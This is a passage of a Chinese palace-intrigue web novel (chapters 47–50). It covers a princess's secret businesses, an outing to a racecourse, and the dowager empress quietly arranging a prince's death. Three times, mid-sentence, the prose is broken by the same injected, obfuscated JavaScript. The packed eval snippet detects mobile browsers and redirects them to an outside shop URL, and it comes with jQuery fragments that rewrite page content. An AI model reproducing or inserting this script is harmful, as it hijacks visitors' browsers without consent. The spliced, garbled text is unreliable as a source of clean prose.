“怎会呢……”艳遥抚了抚鬓边步摇，意味深长地说道：“王爷性情纯良，深得朝野内外一致好评，未来必将是高不可攀，遥不可及的存在。”"
此言实在荒诞、荒唐，若蔫润知真当回事，原样禀报当今皇上，心眼小一些，便是株连九族的大罪，凌迟、五马分尸都不为过。
这样造福天下的女子，些许傲气自是在所难免，但言语间仍需把握分寸。
蔫润知面色一沉，语气严厉，将她狠狠教育一番。
待话音落后，又见她泪光点点的委屈模样，顿感自责过甚，当即放低姿态，靠近半步，在一臂之遥的地方柔声细语地安慰起来。
二人显而易见的避嫌，当萧抒阅书完毕，开门欲还之际，目睹此景却仍是差点惊掉了下巴。
“你……”他惊愕失语，犹犹豫豫间，刚刚吐露一个字，便慌忙掩口，眼神四处游移，继而快步上前，将他藏在身后，朝对面姑娘尴尬一笑，连声道歉，牢牢拉着他将其带走，匆匆离去。
艳遥颔首笑着行礼，待他们身影完全消失，才收敛起方才刻意营造的和煦，神情恢复淡然，面无表情。
“演得不错。”
一道温润的声音突然响起，艳遥泰然处之，缓缓转身，向来人礼貌欠身，“二公子。”
“嗯。”陆承韫带上身后的屋门应了一句，俄而不疾不徐地走近，目光落在她低垂的眼眸上，好似不经意道：“你对润知，很是不同。”
艳遥毫不退缩，嘴角勾起浅笑，直直迎上他的目光，“醇亲王年少有为，风采卓绝，奴家心生敬仰也是自然。”
“敬仰？”陆承韫眉头微皱，深思片刻后道：“你的敬仰，护你之人应该不知。背主行事，是大不敬。你当真胆识过人？”
除了本采、珠品楼与布锦坊的管事，艳遥与主子的关系最为亲近，诸多任务皆由她分派并监督，事后再详细汇报。
对于眼前之人的身份，她自是了如指掌。
按理来说，主子从未对任何男子有过特殊情感，而他却是个例外。
不过从主子后续的盘算，还有打算利用他刺杀的情况来看，他显然并非主子的心中挚爱。
到底为何？
世间女子素来心软，若非迫不得已，大多会将贞洁留给最为倾心与重要之人。
男子可从来不会，无一例……
醇亲王应该……
算了。
但定国公家长子已成为皇帝，他作为国公府的次子，权势、财富兼备，生活悠闲，继承世子之位毫无悬念，即便拥有众多姬妾，也无可厚非。
难不成主子确实身不由己？非得选个不可靠之人？
可陆二公子的势力与手段在他们面前微不足道，为何主子要放弃忠贞呢？
主子不是常言，无论男女，一旦心生情愫，便应相守一生，若有第三者介入，便是伤害了对方，往日的付出也将变得毫无意义吗？
罢了，主子睿智非凡，心中自有决断。眼下完成任务才是重中之重，自己这环节至关紧要。
思绪纷繁，却瞬间消散。
艳遥笑道：“陆二公子与奴家并无瓜葛，奴家所喜所恶，皆是个人之事。除却主子，旁人无权干涉，亦不应多言。若二公子欲有所告，但说无妨。奴家久未见主子，心中甚是不舍呢……”
言罢，她故意扭动着腰肢再次行礼，施施然转身离去。
陆承韫凝望着她的背影，眼神微敛。
此人忠心无二，却不在乎沁澜知不知晓她的行动。
关键之人不该轻忽，难道沁澜在识人上有所疏漏？
＆
“咚——”
房门被重重关上，其上“英豪话本”的木牌随着动静晃晃悠悠，惊扰了正埋头翻阅的众人。
他们无意识齐齐抬头，见是两位身着华丽服饰、面容俊秀的公子，也毫不客气，说骂就骂。
“你们在做什么！不知此地为初语楼，需时时保持安静吗？
瞧你们也不像贫苦人家，想要喧哗，二楼或一楼厢房任君挑选。我等特意抽空来此借阅，却不想竟遇到两个这么没品的官家子弟。
实在富有就多买几册归家阅读？难道来此只为毁书，想要断了我等求知的唯一念想？”
“粗鲁无礼，必是第一次来。咦，他手中竟还握有一册书！”
众人皆是布衣百姓，终日为生计奔波，难得抽空借此机会充实自己。
就算是官家少爷又如何，弄污书籍，犹如夺命！
“呃……”萧抒尚未来得及致歉，便被不要命的几人生生架住，手中的书册也被轻轻取走。
小小的关门声响起，他无语凝噎，只能仰望屋顶，摸了摸鼻子，倚在栏杆旁，默默收拾起低落的心情。
被他莫名带来，又目睹了这场好戏的蔫润知叹息一声，上前拍了拍他的肩膀，说道：“节哀吧。”
“你不要命了？要我节哀，这不是在咒皇室吗？”
“……有理，失言。”
气氛沉闷，蔫润知注意到楼下人头攒动，好奇地转移话题，“这些密密麻麻的人群，都是花了钱的吗？”
“这我清楚。虽然初语楼我未曾踏足，但关于它的光辉事迹却是耳熟能详。
起初确有人想占小便宜，不花钱蹭故事听。
但随着楼内故事日益精彩，无需护卫费心，每位正规购买的客人都会接受亲自查验。
人都是有底线的，谁愿意花了钱让别人白听好戏。
屡教不改下，楼内未曾闹大，只是暗中加强了检查力度，也就是私下下狠手。如此反复，短短三月间，便无人再敢浑水摸鱼。”
“这妙计，竟是那姑娘一人所想？狠绝，不得罪人，且节省人力，真是高明。”
蔫润知诧异道：“明昭王朝果真是与众不同，女子竟也智慧能干。太祖皇帝真是天命所归，承继天运啊！”
萧抒听罢脸色忽然一变，忆起方才之事，慌忙俯身贴耳，神情凝重地道：“你若真抱定此生非贤昭不娶的念头，务必谨慎。贤昭有极重的洁癖。切莫让其他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362892|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女子有亲近的机会。”
“我没那心思，也绝无可能。”
“哎，你可得留心啊！方才那位女子是初语楼的创始人，还曾获皇室亲赞。女子虽柔，却能赢得众□□誉，安稳经营多年，其心智、远见与手腕……”
“可见一斑！”他凑得更近了，“更不用说背后的势力，皆非你我所能企及。”
“我知晓。”蔫润错开一步，将他推远些，“那幕后之人无非太后或太傅之流。
权势之下，再大的才华与资本也难以独善其身，终将被瓜分殆尽。京师之内，这道理无人不晓，除非傻子。”
“是啊。”萧抒情绪骤降，苦笑以对，“既已明了，便勿让这漩涡中心的人，有接近你的机会。”
＆
今日是外出游玩，主要是为陪伴萧沁澜，自然无法埋头看书。
几人分散不过小半个时辰，便又聚拢在一起。
商议之后，决定分别出资，先是预订了二楼厢房，欣赏了精湛的琴艺；紧接着，观看了异域风情的舞蹈；最后在一楼聆听了豪杰评书，这才心满意足地乘坐马车悠悠归家。
府邸内早就准备好了晚宴，门房小厮一见他们归来，便迅速分头行动，一边迎接，一边派人通知文叔。
今晚的菜肴格外丰盛，美酒、点心、鲜果一应俱全，好友相聚，无须繁文缛节。
司空颢品了一口热汤，待身体回暖后，边夹菜边道：“初语楼确实别具一格，三楼藏书丰富，话本众多。若非今日陪伴沁澜，我或许还真舍不得这么早离开。”
“司空兄长真是难得了。”萧沁澜眉眼含笑，略带调侃，“明日我还想再游玩一日，不过初语楼就免了。司空兄长若想自由安排，恐怕得等到后日了，整整二十个时辰呢，会不会心急如焚呢？”
“会。”司空颢语气平和，心情甚佳，“所以，沁澜可要妥善安排最后行程。若未能胜过初语楼，未来的安神药恐怕苦涩难咽。”
“……我真是命途多舛，什么都没做，却得承受这等煎熬。今日是谁提议前往初语楼的？明日行程必须万无一失，否则休怪我回宫禀报太后，让她下令查封初语楼数日。”
查封！
这后果实在严重，萧抒已经做好日日宿在初语楼的打算，虽知此话是玩笑，但仅是几个字也听的他心头一颤，立即站出，毫不犹豫率先指责，“是他！陆二公子！”
陆承韫从容不迫地放下筷子，“好，此事我来担责。”
“呼……”萧抒夸张地松了口气，“你可得努力，我日后的幸福生活就指望你了。”
“放心，我必全力以赴。”陆承韫深深看着他，听不出情绪。
旁侧的蔫润知戳弄着手中饭团，偶尔无精打采地扒拉一口，整个人显得萎靡不振。
“怎么了？”萧沁澜关切望着他。
南门鸢视线也一直停留在他身上，闻言停下了动作，担忧地看向他。
两道热切的目光让蔫润知更加烦恼，眉头紧锁，“沁澜，我过去救过很多人，但都不记得她们的长相。你说，初语楼里是不是很多人都认识我？”
“为何这么说？”
蔫润知丧眉耷眼，“你们不觉得，今日无论是说书的人，还是弹琴、跳舞的女子，他们的视线总是有意无意，落在我身上吗？”
……
萧沁澜懂了。
她抿了抿唇，忍俊不禁，差点笑出声来。
该如何解释呢？
她们两人坐在一起，那些目光更多的是在瞻仰自己啊！
48. 败的只能是你们！
庭院深邃，曲径引领至幽深处，夜空中繁星点点，映射而下，与屋顶上熠熠生辉的琉璃瓦交相辉映，宛如颗颗明珠镶嵌，美不胜收。
“吱呀——”
房门合上，本采忙碌的身影远去。
萧沁澜搓了搓手，裹紧被子，握着暖炉蜷缩在卧榻之中，仅露出一根指尖，舒适地翻阅着新购的话本子。
月光如水，倾洒而入，又是一声“吱呀”，丝丝凉意冲面而来，她忍不住嗔怪道：“怎的又不走正门？这才出来三日，便想让我染上风寒吗？”
刚翻窗而入的陆承韫微张双唇，错愕片刻后，迅速回过神来。
他关好窗棂，脱下披风，刻意坐在离她稍远的位置，默默驱散身上的寒气。
见他如此知趣，萧沁澜未再多语，只是将被褥裹得更紧，出于无聊，打发时光，她再次伸出一根指尖，略显笨拙地翻动书页。
“在等我？”见她夜深不眠，陆承韫涌起一股暖流，面上笑容愈发温暖和煦。
萧沁澜性格直率，虽说马上便有重要事务非他去做不可，也从不娇纵，只会令他敏感服软。
“没办法，我锁了门窗你便不来了吗？”她如是说。
这般语气，陆承韫并未觉得有半分不对。
她是高高在上的皇室公主，过往救人无数，战功显赫。
军营中那些上将不时谈起她的英勇事迹，现下初出茅庐的新兵也常常听闻。
对比当下，他只得叹一声‘可惜是女子，否则文武双全，天下何人不叹服？何人不跪地恭顺！’
沁澜伪装贤淑多年，众人未识真容已对其赞不绝口，要是知晓她的真实能力与所作所为，定更是敬佩有加。
敬佩？
想到此处，陆承韫不禁摇头苦笑。
世间多是夫唱妇随，而他家却是娘子才华横溢，美貌与权势并重，当家做主……
“在想什么？”见他低头沉思，久久不语，萧沁澜偏头问道。
屋内炭火“噼啪”作响，无色无味，将角落映照得光影交错。
陆承韫起身，向熏笼中添了几块红罗炭，细心地翻拨着，让火焰更加旺盛，“沁澜？”
“有事直言，我并非优柔寡断之人。”
陆承韫闻言一时语塞，稍顿后缓缓闭眼，放下手中之物，身体前倾靠近火堆取暖，语调平和地道：“珠品楼、布锦坊、初语楼，皆出自你手？”
“怎么？认为你那点微薄势力，与我相配不上？”萧沁澜侧眸打量着他的背影。
有些落寞，实在古怪。
她眨了眨眼，补充道：“身为未来天子，万众瞩目。待你登基若能开先例，允许女子从商，并赐初语楼为皇商之首，我愿入后宫，手中一切势力皆归你所有。”
此言可谓是诚意满满，陆承韫听后却感不适，愕然转身，视线与其直直相撞，“犹记得当年，你身着红衣，英姿飒爽地策马奔腾，对众人一视同仁，无有偏颇。
初与父亲重逢，是你引领我融入阵营。
带着润知、司空及兄长，我们几人并肩作战，攻克无数城池，拯救了无数百姓于水火之中。
如今天下已归一统，外族番邦不足为患，我们的过往虽暂被尘封，但世人心中自有公论。
按常理，就算不是润知，亦是冠有‘萧’姓的靖郡王与宁郡王坐上那个位置。
然而最终却是兄长。
这一切朝中臣子默然同意，亦是间接在心中承认了我们昔日的功绩。”
“嗯，所以呢？”萧沁澜转头不解，思索一息后，她掀开被褥，放下手炉，起身绕至他身后，紧紧环抱住他的脖颈，额头抵在侧间。
“……”陆承韫心中的不平在这一刻被彻底浇灭。
他叹息一声，松开了紧搂自己的双手，回身将她稳稳按坐在自己双腿上，抬眸仰望她。
“沁澜，你依旧是你。朝中上下阿谀奉承、口是心非之人已不胜枚举。待你我携手登至那权力巅峰时，你于我面前，不要改变。”
“好啊，只要你不介怀……”萧沁澜咬了咬下唇，终是将未尽之言咽了回去。
那些承诺本就空洞无物，她从未真心打算与他共度余生，让他登基。
说与不说，并无实质差别。
况且，此刻情意正浓，提及此事未免大煞风景。
条件自然需提，否则他难以相信自己会全心全意。
女子守贞洁…女子不可掌权！
呵，驾驭一介男子，还真是轻而易举。
长夜凄寒，萧沁澜主动靠近抱住他，解开他的外衫，将自己深深埋入，“还有别的事吗？”
陆承韫轻拍着她的后背，独自忍耐，长长地吐出一口气，才勉强让呼吸平稳下来，“初语楼的管事，今天特意找润知谈了些话。那些话虽含蓄，但眼神却与南门姑娘无异。是你安排的吗？”
“管事？”萧沁澜微微坐直，“你亲眼所见？”
“是。”陆承韫目不转睛地看着她。
“噢……”萧沁澜点头，忽而浅笑，“这傻姑娘，竟打算牺牲自己。”
“此话怎讲？”
“无事。”萧沁澜抚摸他的脸颊，脑中思绪飞转，“润知一直被我视为亲兄长。他是个好人，只是性格固执。我今日随口一提，未曾想到艳遥会放在心上，主动试探，试图令润知转移注意力。但她有所爱，为了帮我解围而牺牲自己，难道不是傻吗？”
这是她首次清晰、肯定、明确回答陆承韫最为在意的问题。
月影摇曳，夜色朦胧，流水掠过指尖，初绽的桃花娇艳欲滴。
春夜短暂，起伏跌宕的快感，如同悠扬缥缈的旋律，转瞬即逝。
＆
翌日，尽管寒气袭人，却依然是个天朗气清的好日子。
府邸内唯有文叔知晓二人相处的真实情形。
清晨时分，除了萧沁澜带出的几位贴身侍从，无人敢靠近屋舍。
待梳洗用膳完毕，蔫润知等三人准时而至。
因着日跌她便要回宫，几人未曾耽搁登上马车，一路颠簸向郊外山区的马场行去。
时至初冬，马场辽阔无垠，放眼望去，除栏杆略带色彩外，四周尽是一片萧瑟。
久未目睹如此自然壮丽的景致，萧沁澜忘却了寒冷，立于风口裹着披肩，脸上带着盈盈笑意。
“驾！嗷吼……”
京师中的马匹大多由太仆寺管理，皇家念着往昔情谊，专门为官家子弟开设了部分马匹，只是需要花费大量银钱。
今日陆承韫不惜重金，将马场整个包下，此刻场内唯余他们一行人，萧抒与蔫润知的高呼笑语不时自远方传来。
“这样的日子，已许久未见。”司空颢也难得放下医书，望着辽阔天地长吁短叹，“可惜，我们都已老去。”
“司空兄长现年才二十三，怎会这样消沉？”
萧沁澜收回远眺的目光，转而凝视着他，“司空兄长当年一杆银枪战遍四海，未见其人先见其芒，是何等的风光无两。
无论是叛军、前朝余孽，还是侵扰的异族，皆对你闻风丧胆，心悦诚服。
明昭王朝建立不过四年光景，你学医亦仅四年，能有今日成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370006|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就，实属天资聪颖。
不过若学医之路太过艰辛，切莫勉强自己。”
“沁澜所言极是。”司空颢长身玉立，仰望苍穹，“司空家族辈出名医。至我这一代，父亲仅我一子，寄予厚望。可我学医四年，所得尚浅，真是有愧先祖。”
“若姑母尚在人世，对你不喜之事她定不会强求。”陆承韫自后走来，为每人递上一个手炉，随后立于中央，与之并肩，共同遥望着场下景象。
“姑父与姑母情深意重，凡事皆以姑母之意为从，你才得以享受了十余年的自在时光。然而出身既定，又兼天赋异禀，自然需肩负起相应的责任，方不负此身血脉。”
“确是，若逢战乱，他人皆可披甲上阵。唯我们五人想要追随军队出征，抵御外敌，几乎难以实现。我们怕是要做一辈子的富贵闲人，所得非所求了。”
场上之人身影洒脱，毫无二人的忧思多愁。
司空颢轻声出笑，“不知为何，今日竟有此番感慨。我们既享富贵，稍有束缚亦是常理，世间好事岂能尽归一人？人生短暂，若能如润知与宁郡王那般逍遥自在，亦是幸事。”
说罢，他举起手中的暖炉，带着几分戏谑道：“承韫今日真是大手笔，不惜血本啊。莫非你如今囊中羞涩？瞧我这手炉与沁澜手中的相比，差异是不是太过明显了点？”
一个精致小巧，暖意融融。
一个则更显华贵，雕工繁复。
陆承韫面不改色，泰然言道：“沁澜身为女子，自当娇贵几分。我等七尺男儿，何必在小事上过分计较。
此刻无人在侧，能有个手炉取暖已属难得。若是他日出席正式宴会，自当稳重得体，即便是性情不羁如润知，亦不可随意怀抱手炉观戏，享受这份无拘无束的惬意。
理当知足了。”
“真是……男儿本性难移。
沁澜非寻常柔弱女子，能文能武，何以在你眼中成了温室之花？
切莫忘了，当日是谁仅凭一把长刀，率三人深入虎穴，从数百土匪手中救出数十平民。过往虽可放下，却非任人篡改之物。”
“既然过往既定，那我们三人现在聚于此地，所为何事？”
陆承韫将手中暖炉递予元栖，“司空，难得出游，眼见这广袤天地，你只愿在此旁观他人自在不羁吗？”
寒风凛冽，一声响亮的马啸划破长空，伴随着尘土飞扬，一匹马在他们面前稳稳站定。
蔫润知策马绕行数圈，对这片地方颇为满意。
他利落地翻身下马，额头上细密的汗珠在光线下闪烁，带着浑身的热气走向三人，“我已经探过路了，这里足够我们尽情驰骋，和以往一样没什么变化。
怎么样？要不要来场比赛，看谁先抵达边界？最后一名得负责今天所有人的开销，如何？”
话语是对着三人说的，但他的视线却仅锁在萧沁澜一人身上。
萧抒骑马溜近，坐在高处故作耍赖道：“你这不是明摆着欺负人吗？我穷得叮当响，你还专往我心上捅刀子。”
“怎么？这就认怂了？”
“切，比就比，谁怕谁啊！刚才我只是差那么一点点，你等着瞧！”
陆承韫也被激起了兴趣，却并未擅自决定，转头询问，“沁澜，你觉得呢？”
“既然大家兴致正浓，自然不愿扫兴。”萧沁澜当即解开披风，随手扔给一旁的本采，接过下人递来的马缰，动作干净地跃上马背，一身红衣随风飘扬。
“锋芒久藏，早该试剑。今众英共竟，定要乘兴而归，决出个高下。自然，败的只能是你们！”
49. 不想打个滚儿吗
日影斑驳，疏帘低垂，慈宁宫内炉火正旺，将外界的寒意隔绝得严严实实。
宫娥们步伐轻盈，行动井然，一切有条不紊。
茶香袅袅升起，太后端坐于凤榻，面容宁静，“靖郡王此刻身在何处？”
琉薇为她研墨，“据锦衣卫来报，靖郡王一路风尘仆仆，仅在驿站稍作歇息，未受官员迎送，现已至京师城外。待整肃仪容后，便将入宫觐见。”
“嗯，他此番任务，似乎颇为顺利。”太后放下茶盏，提笔挥毫，字迹流畅。
“新皇登基，国运昌隆。闻凉州突遭灾厄，官府却能迅速应对，一日之内即稳住局势。
不仅发动商户捐粮筑舍，还购得药材熬制汤剂，以防疫病蔓延。
靖郡王此行确是幸运，换作他处，未必有如此高效的援手，被强行逼迫为暴民的定然数不胜数。”
“他确实占据了天时、地利与人和的诸多优势。”
“……奴婢愚钝，天时地利，不过是凉州有位心系百姓的好官。但这‘人和’又是何解？莫非背后另有隐情？”
一字写毕，太后吹了吹未干的墨迹，拿起细赏片刻，轻轻摇头，将纸张揉作一团，递入她手中，“无趣至极，拿去丢了吧。”
太后素来沉稳，这番孩童般的举动实属罕见。
琉薇捏起纸团摇头浅笑，未多言语，转手递予正打扫的侍女，随后步入殿内，继续在一旁研磨。
短短几步间，太后又已揉了数团。
琉薇揣摩不透她的心意，试探问道：“太后对靖郡王有何新的打算吗？”
“锦衣卫日前来报，靖郡王不慎染上了风寒？”
窸窸窣窣的声音响起，琉薇清理着桌上杂物，低声应承：“是。”
“凉州环境恶劣，长途跋涉，往返间难有休憩。且救灾期间与灾民频繁接触，加之地域差异，亦辰从未去过那般荒芜之地，感染风寒确是情理之中。”
听完这话，琉薇紧了紧手中那几团纸，忐忑不安，“太后的意思是……？”
“啪”的一声，太后将狼毫掷于宣纸之上，墨点四溅。
她动了动身子，凝视窗外透进的柔和光线，“身处此位，当断则断。靖郡王既染风寒，回京述职后，便让他在府中静养，直至病终吧。”
“遵命。”琉薇毫无迟疑，即刻行礼应承，“太后，还有其他吩咐吗？”
凤榻之上，明远太后静静地坐着沉默良久，许久才缓缓开口：“贤昭今日回宫吗？”
“是，待宫门落锁前，公主殿下便会回宁安宫。”顿了片刻，琉薇抬眸道：“今晚的晚膳，是否等殿下归来后再传？”
太后摘下腕间珠串，慢条斯理地拨弄着，“兵部权柄甚重，由定国公全权掌控。虽目前天下太平，但若外邦联手来犯，前线战事必受掣肘。”
琉薇知晓她这是要交代重要事宜，于是静静地等待着。
这次等待并未持续太久，太后似乎早已胸有成竹。
“皇帝与贤昭有着青梅竹马的深厚情谊。待德伦与祥和入宫后，你们不必过多干涉，让她们随性即可。”
太后此言，意在让新入宫的两位妃子，明了陛下与公主之间的特殊关系，进而可能借由这份嫉妒，使她们对公主殿下更为苛刻。
即便是作为太后的心腹，琉薇也不禁觉得身居高位之人，难免冷漠无情。
中宫嫡出又如何，唯一正统的皇室血脉又如何。
在男权与皇权的双重压迫下，也显得无力无能。
这四年来，公主殿下收敛锋芒，乖巧听话，与太后共同在这冰冷的皇宫、朝野的种种压迫下，度过了最为艰难的岁月。
最终仍难逃被利用的命运。
这些都不是琉薇这样的宫女所能改变的。
身处权力斗争，唯有忠诚与谨慎、从一而终，方是保全自身的最佳策略。
琉薇并未多言，仅一瞬的同情后，便收起了那份迷茫的心思，揣着那几团纸张欲转身离去，不料又被叫住。
她垂眸，“太后有何吩咐？”
明远太后微微眯起眼，语气不详道：“初语楼的幕后之人，可有查出是谁？”
琉薇摇了摇头，神情严肃，咬字清晰道：“此事颇为蹊跷。初语楼位于京师，天子脚下，按理说探寻其创办者应非难事。然而四年间，无论是暗卫还是锦衣卫，皆无任何进展。”
“确定？”太后云淡风轻地转动佛珠，细眉微扬。
“确实如此，奴婢所言句句属实。”琉薇语气坚定。
暗卫营与锦衣卫的事务，非她一人直接掌管，她多是近身侍奉，就连传递消息的次数亦非频繁，多由他人亲自处理。
太后雷厉风行，有过太多狠绝手段，若论忠心耿耿，她无人能及。
琉薇不疾不徐，“初语楼行事别具一格。
初建之时因待遇优厚，引得不少贫寒之家送子来投。遭拒后，竟激起京师百姓联名愤慨，初语楼一度被众人围攻。
本来法不责众，初语楼这般规矩也遭遇臣子们不满，御史台那边自不必说，弹劾的折子一摞接着一摞。就连太傅在朝堂之上也不免对此微词。
出乎意料的是，初语楼非但不惧，反而在官府无法直接干预后，自行采取措施。
虽未伤人，却将滋事最甚的几户人家居所捣毁一空，仅余空壳。
更有甚者，还在屋顶戳出数个窟窿，每逢雨雪天气，其状实为难堪。”
“哀家亦有所耳闻。”太后忽然轻笑，“乱世方定，新朝初立，初语楼竟敢挑衅皇权，实属胆大包天。”
见她附和，琉薇继续说道：“最为巧合的是，那几名被砸的百姓，平日里恶贯满盈，欺压女子、侵占房产、强夺田地。若他们手握实权，恐怕会更加肆无忌惮，做出鱼肉百姓、残害无辜的残忍行径。
事发后，平民们再次团结起来，围困了初语楼。
这次，楼内的管家姑娘毫不留情，坚守在初语楼四周，寸步不让。来者无论何人，只要靠近，便会被她毫不留情地狠狠动手揍回去，呃……伤亡严重。
此事迅速传遍四方，众人难以置信，一位女子竟能独自抵挡种种重压与围攻。
直到此事被编成话本，且三楼对外开设后，才逐渐为人称颂，声名大噪。”
“要达到现在境界，需兼备说一不二的权威、勇往直前的打手、富可敌国的财富，以及超凡脱俗的智慧。这四者缺一不可，否则结果将大相径庭。”
太后语气平和，目光淡然地望着她，“你说，究竟是何人能有此等胆识与境界呢？”
没有犹豫，琉薇摇了摇头说：“论权势，定国公无疑最为可能。至于其他，要么是掌握兵权的大将，要么是朝中声名显赫的一品大臣。
不过……这两者或三者联手，倒更符合实际情况。”
“是吗？”太后深深凝视她一眼后，轻轻挥手，“去忙吧，今晚贤昭回宫，别忘了吩咐御膳房备些点心送去，让她知道哀家计挂着她。”
琉薇行礼应诺，继而转身，走的极慢，直至确认太后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389122|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无其他吩咐，方才加快脚步离去。
……
慈宁宫内，嬷嬷细心地关上殿门，添了些碳火后，方走近凤榻边，笑道：“琉薇这孩子心地过于单纯，与娘娘相处这么久，竟连试探都未曾察觉。”
太后见是她，便放下手中珠串，重新执起笔，“我自然知晓。有些事，她尚不明了，旁人更无从得知。”
嬷嬷闻言轻叹一声，上前为她研墨，“娘娘这些年真是辛苦了，费尽心思。但愿公主殿下最终明了真相后，能体恤娘娘的苦心，不致疏远。”
太后未再多言，只是专心致志，在纸上缓缓写下一个“善”字。
＆
远山如黛，近水含烟，寒风虽凛冽，跑马场却非荒芜之地，松柏长青点缀其间，寒梅傲放，香气袭人。
马蹄轰鸣，疾风掠过，尘烟滚滚，豪情满怀。
枝头梅花不堪其势，洋洋洒洒飘扬于空，群马奔腾，金辉生耀，竞相追逐，仿佛欲踏破苍穹。
“啊！真是畅快淋漓！”
萧抒翻身下马，气喘吁吁地四面八叉，舒展惬意地躺在梅花林中，透过稀疏的枝丫仰望那片无垠的蓝天，
“许久未与友人如此尽兴，这三日，值了。”
蔫润知同他一般，不顾形象地躺倒在尘土覆盖的地面，“首日游历京师，次日探访名闻遐迩的初语楼，今日与众友策马奔腾，恍若重回昔日无拘无束的战场。
你听，我的心跳依旧澎湃，恐怕许久都难以平息。”
言毕，他侧首望向身旁，“沁澜，你觉得呢？”
萧沁澜骑射技艺超群，尽管多年未曾练习，今日仍是首位踏入这片梅林之人。
梅花纷飞，自枝头悠然飘落，花瓣红艳如火，轻盈如同蝴蝶起舞，点缀在她的发梢、肩头及裙摆之间，景致如梦似幻。
一袭红衣与盛开的红梅相互映衬，美得令人心醉。
蔫润知不由自主地坐直了身子，单手托着下巴，侧首深深注视着这幕美景。
时间仿佛在此刻凝固，周遭的喧嚣与风声尽数消弭，唯余一片宁静与美好，天地间好似只余他们二人存在。
青丝如瀑，眉眼精致如画，肌肤胜雪，红梅灿烂如霞。
陆承韫侧头默默看着他，再也激荡不起半分情绪，反倒对他这份痴情感到深深无奈，却又不好直言相告。
快了，再过一段时日。
但愿这份情谊，不会因此生出裂痕。
一旁的萧抒正滔滔不绝抒发着豪情壮志，不时手舞足蹈，如同孩童般在花海中嬉戏翻滚，还不忘招呼众人一同加入。
两侧视线灼热得令人不适，萧沁澜努力平复内心翻涌的情绪，待呼吸渐趋平稳，才开口询问：“这里便是终点了吗？是太仆寺亲自设计建造的吗？”
“正是。”陆承韫抚了抚衣袖，若无其事地耐心解释，“梅花盛开的长短难以预料，仅靠跑马收入有限。
因此，太仆寺特意打造了一些吸引人的亮点。
此地风光旖旎，气息清新，实属难得。
春日夭桃、秾李、红杏、海棠，夏日观丹若，秋日赏九秋菊、木犀。待明年公主府落成，你便能常来此处了。”
“常来？”萧沁澜侧头望向他，“公主府乃皇家财富之象征，说是名胜亦不为过。到那时我若想出府，会不会多有不便？”
“我可以……”蔫润知欲言又止。
远处传来萧抒欢快自得的呼唤声：“快来啊，这花瓣柔软如丝，你们就不想在上面打个滚儿吗？”
50. 萧亦辰结局
“咳咳……咳咳……咳……”
京师外的官邸内，萧亦辰半倚在病榻上，咳嗽连连，经久不息，直至半刻后方才稍缓。
他虚弱地重新躺下，面色苍白如纸。
丫鬟心疼地执起银勺，轻轻为他干裂的双唇滴上水润，“殿下受苦了，凉州一行竟致水土不服，罹此重疾。”
萧亦辰微微一笑，“此病听来骇人，咳出后却觉舒畅许多。人皆血肉之躯，凉州灾情严重，天寒地冻，感染风寒亦属常情。”
丫鬟愤愤不平，“殿下尊贵无比，可是萧氏宗亲。但朝臣公认的东宫之选却仅非您一人。依奴婢之见，太医院院使之子司空颢才是赈灾的更佳人选。为何偏要殿下承受这等艰辛？”
“陛下新登大宝，即逢大灾，赈灾之事非‘萧’姓正统不可担。除我之外，唯萧抒与润知可任。但润知有贤昭公主庇护，不便远行。萧抒亦是年轻气盛，性情难定。故而我被选，实为必然。”
说罢，萧亦辰苦涩浅笑，“这也算是报应吧。
历朝历代赈灾之时，哪个不贪墨银两？这也算是对我贪墨的一种惩罚。看到那些无家可归的灾民，我心中实在不忍，不禁回想起明昭王朝成立前，一路的种种见闻。
果然，站得久了，眼界与心胸总会生出矛盾与堵塞。”
“可王爷后来不仅将剩余的赈灾粮食全部发放，还亲自参与，生怕有任何一人受到不公待遇。这样的功德，怎会……”丫鬟抹了把眼泪，哽咽得难以继续。
“只是风寒小疾，何必如此感伤。”萧亦辰叹了口气，颇为豁达，“这次我们完成了一项重大任务。回宫后，你家王爷定会有丰厚赏赐，到时定为你举办一场盛大的婚礼。”
丫鬟破涕为笑，撇了撇嘴，“奴婢才不在乎那些俗物……”
话未说完，外面传来侍从焦急的呼喊，细听之下，是太后特遣御医前来。
“太好了！王爷有救了！”
“嗯，扶我起身，准备接旨，不可有丝毫怠慢。”萧亦辰眉宇间舒展开来，“听说他们几人这几日在外游玩，待我风寒痊愈，定要随他们一同策马扬鞭，畅游天下。”
＆
马车晃晃悠悠，穿越热闹喧哗的街市，未曾停歇，最终抵达了宁静深远的府邸大门前。
冬月寒风刺骨，枝头仅存的枯叶“簌簌”飘落，点缀在薄冰覆盖的池塘水面上。
“嘶……”
